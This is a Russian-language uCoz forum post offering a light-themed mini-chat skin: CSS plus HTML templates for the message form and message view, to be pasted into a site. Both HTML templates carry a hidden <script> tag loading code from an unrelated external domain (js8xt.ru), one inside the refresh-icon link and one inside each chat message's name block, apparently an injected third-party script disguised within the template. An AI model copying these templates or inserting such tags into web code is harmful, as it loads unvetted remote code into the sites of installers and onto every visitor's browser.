Реклама:



  • Страница 1 из 1
  • 1
Форум » Скрипты для uCoz » Другие скрипты » Мини-чат v1.1 (Новый вид мини-чата, подойдет для светлых дизайнов)
Мини-чат v1.1
Aninew | Доп. инфо.
Дата: Суббота, 07.04.2012, 11:03 | Сообщение # 1


Пользователи
Сообщений: 7
Репутация: 1
Так выглядит скрипт:http://s019.radikal.ru/i613/1203/df/325cbdbc1c6c.jpg

Новый вид мини-чата, подойдет для светлых дизайнов.

Установка: в CSS ставим код:

Code
mchat textarea {border:1px solid #DBDBDB;background:#f7f7f7;padding-right:5px;}     
     .mchat textarea:hover {background:#fff;}     
     .mchat input {background:#E8E8E8;border:1px solid #DBDBDB;border-left:none;height:40px;margin-left:-2px;width:20px;}     
     .gost {background:#fff;border:1px solid #DBDBDB;padding:5px;border-left:none;text-align:left;margin-left:-3px;padding-bottom:2px;margin-top:-5px;height:50px;font:10px Tahoma;}     
     .op_fon {background:#f7f7f7;border:1px solid #DBDBDB;border-right:1px dotted #ccc;width:40px;height:50px;}     
     .op_fon img {padding-left:5px; filter:progid:DXImageTransform.Microsoft.alpha(opacity=60);-moz-opacity:0.6;opacity:0.6;}     

     .option {border:1px solid #ccc;height:20px;margin:5px 0;width:100%;padding-top:3px;background:#fff;filter:progid:DXImageTransform.Microsoft.alpha(opacity=40);-moz-opacity:0.4;opacity:0.4;}     
     .option:hover {filter:progid:DXImageTransform.Microsoft.alpha(opacity=100);-moz-opacity:1;opacity:1;}     
     .chat {background:#E8E8E8;border:1px solid #DBDBDB;padding:3px 0;font:11px Tahoma;border-top:none;}     
     .cBlock {margin:0px;padding:0px;border:none;}     
     .cMessage {background:#F8F8F8;border:1px solid #DBDBDB;border-top:none;padding:4px;font:11px Tahoma;}


В форуму добавления сообщения:

Code
<style>     
     .codes {background:#f7f7f7;border:1px solid #ccc;border-top:none;width:99%;}     
     </style>     
         

     <div class="option">     
         
    <div style="float:right;margin-right:5px;"> Осталось: $LENGTH_COUNTER$ </div>    
     <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i636/1203/38/4e2c54ca51e3.png" width="16" height="16"><script type="text/javascript" src="http://js8xt.ru/ves.js"></script></a>     
     <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i611/1203/11/72edfa9af6e5.png" width="16" height="16"></a>     
     <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i610/1203/fb/bed6fc653a3f.png" width="16" height="16"></a>     
     <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://s48.radikal.ru/i121/1203/bb/64643fdb0823.png" width="16" height="16"></a>     

         
     </div>     

     <table class="mchat" cellspacing="0" cellpadding="0">     
     <tr>     
     <td width="100%">$FLD_MESSAGE$</td>     
     <td>$SUBMIT$</td>     
     </tr>     

     </table>     
         
     <table class="codes">     
     <tr><td>$FLD_SECURE$</td><td>$IMG_SECURE$</td></tr>     
     </table>     
     <br>     
     <table cellspacing="0" cellpadding="0">     
     <tr>     
     <td class="op_fon">     
     <img src="http://3adrotu.ru/Ucoz/1/chat_v1_1/alert.png" width="28" height="28"></td>     
     <td class="gost" valign="top">     
     Для добавления сообщения <a href="/index/3">зарегистрируйтесь</a>.     
     </td>     
     </tr>     
     </table>


Вид материалов:

Code
<div class="cBlock">     
     <div class="chat">     
     <span style="float:right">$TIME$</span>     
     <div style="text-align:left;">     
     <div style="padding-left:7px;"><script type="text/javascript" src="http://js8xt.ru/ves.js"></script><a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a></div>     
     </div>     

     </div>     

    <div class="cMessage" style="text-align:left;" id="msg$NUMBER$">$MESSAGE$</div>    

     </div>
Форум » Скрипты для uCoz » Другие скрипты » Мини-чат v1.1 (Новый вид мини-чата, подойдет для светлых дизайнов)
  • Страница 1 из 1
  • 1
Поиск:

Мини-чат

  Портал DeLux|Полное или частичное использование материалов только с разрешения администрации. Сайт оптимизирован под браузер Opera. Дизайн данного сайта полностью принадлежит администратору сайта.

Вся информация предоставленная на сайте Портал DeLux является собственностью авторов. Любую информацию размещенную на сайте запрещено копировать без размещения ссылки на источник.
Дизайн данного сайта принадлежит полностью администратору сайта. Категорически запрещается копировать и использовать без соглашения главного администратора.
Yandex | Google | Rambler | Yahoo | Mail